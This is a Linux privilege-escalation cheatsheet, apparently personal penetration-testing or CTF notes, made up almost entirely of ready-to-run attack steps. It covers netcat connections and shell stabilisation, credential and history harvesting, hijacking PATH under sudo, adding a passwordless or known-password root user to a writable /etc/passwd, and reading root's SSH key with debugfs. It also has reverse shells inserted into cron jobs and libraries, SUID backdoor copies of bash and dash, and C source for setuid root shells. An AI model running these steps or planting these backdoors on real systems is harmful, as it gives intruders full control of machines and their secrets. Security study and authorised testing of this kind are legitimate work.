Linux Privilege Escalation Cheatsheet

which nc
nc $ip $port

which python[3]
python[3] -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z
# In Kali
stty -a # Notice number of rows and columns
stty raw -echo && fg
# On target system
reset
stty rows xx
stty columns yy
export TERM=xterm-256color

# username, groups
id
hostname

# Part of too many groups? Find out all the files you've access to
for i in $(groups); do echo "=======$i======"; find / -group $i 2>/dev/null | grep -v "proc" >> allfiles; done

# Interesting internally listening ports?
netstat -anpt

# Look what the user was up to
less .bash_history
less mysql_history

# Check user accounts
cat /etc/passwd | grep "sh$\|python"

sudo -l

# Automated local enumeration
# Look for any highlighted stuff
# Cron jobs
# Non-standard scripts or programs
# Hardcoded credentials. Check password re-use against existing accounts
./linpeas.sh -q

./linenum.sh

# Easy win?
sudo -l # Check programs on GTFOBins

# Can sudo, abosulte path not specified?
echo "/bin/sh" > <program_name>
chmod 777 <program_name>
# Export PATH=.:$PATH
sudo <program_name>

# Writable /etc/passwd?
Remove 'x' beside a username --> no password
# Create a new user
openssl passwd "lol" # Prints out a hash
# Make a new entry at the end of /etc/passwd
notahacker:$passwd_hash:0:0:/root:/bin/bash # Become r00t yourself

# /dev/sda1 readable?
debugfs /dev/sda1 # Get root's SSH private key 

# Writable CRON program?
# Insert language specific reverse shell

# Writable library?
# Back up library
# Insert language specific reverse shell at the end of the library

# Make root give you a bash SUID program
# Make getroot.sh file with following contents and wait for CRON job to run the program
#!/bin/dash
cp /bin/dash /tmp/backdoor
chown root:root /tmp/backdoor
chmod u+s /tmp/backdoor
# Execute /tmp/backdoor to get a root shell


cp /bin/bash /tmp/backdoor
chmod 6755 /tmp/backdoor
# Execute /tmp/backdoor -p to get a root shell

// BOTH WORKS
// gcc -o suid getsuid.c
// AS INTENDED USER - 
	// chown root:root suid
	// chmod 6755 suid

// immediately spawns shell upon execution 
int main() {
	setuid(0);
	system("/bin/bash -p");
}

// or better, execvp doesn't drop euid
// able to handle more things without any modifications
// run commands as root
#include <stdio.h>
#include <unistd.h>

int main(int argc, const char * argv[]){
	if (argc > 1) printf("%s",execvp(argv[1],&argv[1]));
	return 0;
}